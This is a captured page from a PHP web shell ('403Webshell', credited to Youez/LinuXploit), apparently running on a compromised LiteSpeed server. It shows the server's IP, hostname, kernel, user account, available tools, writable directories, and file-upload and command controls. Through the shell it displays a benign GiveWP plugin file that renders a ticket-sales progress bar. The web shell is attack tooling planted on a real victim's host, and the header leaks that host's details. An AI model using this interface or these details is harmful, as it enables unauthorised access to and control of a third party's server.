403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.137.154.13
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/EventTickets/ListTable/Columns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/EventTickets/ListTable/Columns/SalesAmountColumn.php
<?php

declare(strict_types=1);

namespace Give\EventTickets\ListTable\Columns;

use Give\EventTickets\Models\Event;
use Give\Framework\ListTable\ModelColumn;
use Give\Framework\Support\ValueObjects\Money;

/**
 * @since 3.6.0
 *
 * @extends ModelColumn<Event>
 */
class SalesAmountColumn extends ModelColumn
{
    /**
     * @inheritDoc
     *
     * @since 3.6.0
     */
    public static function getId(): string
    {
        return 'salesAmount';
    }

    /**
     * @inheritDoc
     *
     * @since 3.6.0
     */
    public function getLabel(): string
    {
        return __('Ticket Sales', 'give');
    }

    /**
     * @inheritDoc
     *
     * @since 3.6.0
     *
     * @param Event $model
     */
    public function getCellValue($model, $locale = ''): string
    {
        $ticketTypes = [];
        foreach ($model->ticketTypes()->getAll() ?? [] as $ticketType) {
            $ticketTypes[$ticketType->id] = [
                'price' => $ticketType->price,
                'capacity' => $ticketType->capacity,
            ];
        }

        $salesTotal = array_reduce(
            $model->eventTickets()->getAll() ?? [],
                function (Money $carry, $eventTicket) use ($ticketTypes) {
                    return $carry->add($ticketTypes[$eventTicket->ticketTypeId]['price']);
            },
            new Money(0, give_get_currency())
        );
        $maxCapacitySales = array_reduce($ticketTypes, function (Money $carry, $ticketType) {
            return $carry->add($ticketType['price']->multiply($ticketType['capacity']));
        }, new Money(0, give_get_currency()));

        $salesPercentage = $maxCapacitySales->formatToMinorAmount() > 0 ? max(
            min($salesTotal->formatToMinorAmount() / $maxCapacitySales->formatToMinorAmount(), 100),
            0
        ) : 0;

        $template = '
            <div
                role="progressbar"
                aria-labelledby="giveEventTicketsProgressBar-%1$d"
                aria-valuenow="%2$s"
                aria-valuemin="0"
                aria-valuemax="100"
                class="goalProgress"
            >
                <span style="width: %2$s%%"></span>
            </div>
            <div id="giveEventTicketsProgressBar-%1$d">%3$s %4$s %5$s</div>
        ';

        return sprintf(
            $template,
            $model->id,
            $salesPercentage,
            $salesTotal->formatToLocale($locale),
            __('of', 'give'),
            $maxCapacitySales->formatToLocale($locale)
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit